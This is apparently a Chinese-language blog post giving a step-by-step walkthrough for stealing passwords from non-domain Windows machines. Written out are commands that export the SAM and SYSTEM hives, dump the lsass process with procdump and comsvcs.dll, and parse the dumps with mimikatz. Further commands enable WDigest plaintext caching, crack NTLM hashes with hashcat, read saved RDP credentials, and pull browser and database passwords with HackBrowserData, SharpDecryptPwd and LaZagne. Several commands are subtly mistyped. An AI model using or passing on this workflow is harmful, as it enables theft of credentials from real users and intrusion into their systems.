本文详细介绍了在非域环境下,针对Windows系统获取密码的四种方法,包括在线读取SAM文件、离线读取SAM和lsass进程,以及使用procdump、Power_sploit脚本、comsvcs.dll和密码破解工具如Hashcat。还涵盖了RDP凭证抓取和浏览器密码窃取的技巧。
对于Windows(不是域环境)我们有四种方法去抓取它的密码
在线读取SAM文件
离线读取SAM文件
在线读取Lsass进程
离线读取Lsass进程
在这次的blog,我们还是用的mimkatz
目录
1.在线读取SAM文件
2.离线读取sam文件
3.在线读取lsass进程
4.离线读取lsass进程
1.任务管理器DUMP
2.通过procdump工具进行dump
3.Power_sploit的Out_minidump的脚本
4.白名单文件 comsvcs.dll
破解lsass.dmp
5.Hashcat
6.RDP凭证抓取
1.通过cmd读取
2.文件夹读取
7.浏览器,数据库密码信息读取
1.BrowserGhost
2.Sharp-HackBrowserData
3.数据库密码抓取
4.抓取各类密码 LaZagne
1.在线读取SAM文件
这个就是最简单的一个做法,直接在mimikatz上面敲上这个的命令
-
-
-
这个是没有问题的,只不过它只能读取到NTLM hash
2.离线读取sam文件
因为我们直接在目标机器上面读取hash可能会报毒(本身运行mimikatz也会报毒)所以我们就可以离线读取,其实就是将它的注册表中的sam导出
-
reg save hklm\sam sam.hive
-
reg save hklm\system system.hive
就可以看见这两个文件
然后就是用本地的Mimikatz去导出
lsadump::sam /sam:sam.hive /system:system.hive
也是能达到相应的效果的!!!!
3.在线读取lsass进程
这个呢,在某一些win10可以,但是在win11是不行的!!!(最起码我的不行)
lsass进程中,存储的是用户的明文密码,所以可能这就是导不出来的原因
-
-
win11是会直接报这样的错的(版本什么的我也试过了,而且我已经是重新将密码写回到了注册表)
但是对于某些win10,以及win server2012 xp 等低版本是可以的
顺便提一嘴,在一些win10版本
首先肯定是要写入计划表
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
如果你想获取明文密码可以直接用以下命令
-
rundll32.exe user32.dll,LockWorkStation //这个可以直接锁屏
-
-
-
-
-
-
-
都能把用户踢下线 ,当他再输密码得时候,我们就可以读取lsass进程得明文密码
4.离线读取lsass进程
离线读取lsass进程,其实就是想办法直接把对应得文件dump出来
1.任务管理器DUMP
前提是你得能远程到别人得电脑,然后直接在任务管理器能把他dump出来
然后你就能得到这样的文件
2.通过procdump工具进行dump
ProcDump 是一个命令行实用工具,其主要用途是监视应用程序的 CPU 峰值,并在出现峰值期间生成故障转储,管理员或开发人员可以使用这些转储来确定出现峰值的原因。 ProcDump 还支持挂起窗口监视(使用与 Windows 和任务管理器使用的窗口挂起相同的定义)、未处理的异常监视,并且可以根据系统性能计数器的值生成转储。 它还可用作可嵌入到其他脚本中的常规进程转储实用工具。
这个是微软自己写的工具,一般不会报毒(360不是一般的软件)
procdump.exe -accepteula ma sass.exe lsass.dmp
3.Power_sploit的Out_minidump的脚本
通过这个脚本是可以dump出明文hash的
但是可以能对win11不太友好,反正我是不行
4.白名单文件 comsvcs.dll
通过调用这个文件的api,可以帮我们导出lsass进程
tasklist | findstr "lsass.exe" //查找lsass进程的pid
powershell -c "rundll32 C:\windows\system32\comsvcs.dll, MiniDump "lsass.exe的PID" C:\lsass.dmp full"
这样我们就可以在c盘下看见一个lsass.dmp的文件啦
破解lsass.dmp
这个是可以用mimkatz去进行破解的!!
-
-
sekurlsa::minidump lsass.dmp
-
sekurlsa::logonpasswords full
对于一些winserver 就算是2012以后的也是可以的
但是win11还是不行(我真是无语了)
5.Hashcat
这个可以跑多种的密码包括ntlmhash
假如我们现在有这样的一个ntlm hash
e25bbe456dd96a635f4434511788e502
然后用hashcat
hashcat.exe -m ntlm_hash "字典" --force
可以看见是能跑出来的
6.RDP凭证抓取
1.通过cmd读取
如果我们进入内网之后,我们可以信息收集的时候先敲上这样的一条命令
keycmd /list
如果在这台电脑上登录过其他的电脑,而且还勾选了记住我的凭证就会出现以下结果
2.文件夹读取
敲上这样的一个命令
dir /a %userprofile%\appdata\local\microsoft\credentials\*
这里放着的都是它的登录记录
解密的话,可以用mimikatz进行解密
7.浏览器,数据库密码信息读取
1.BrowserGhost
这个就直接运行就好,不过只能抓chrome的(我没用chrome)
2.Sharp-HackBrowserData
这个用的比较多,可以直接抓取你的浏览器得密码
Sharp-HackBrowserData.exe //直接运行就好
是真的可以抓到,他会生成在result文件夹里面
3.数据库密码抓取
直接运行这个文件
SharpDecryptPwd.exe -NavicatCrypto
后面就是你的参数了
4.抓取各类密码 LaZagne
这个工具就比较强大了,基本上可以抓很多东西
lazagne.exe all
这是win11得
在win server 2012中我是dump出了它的ntlm 和lm hash
该文章在 2024/7/16 17:08:54 编辑过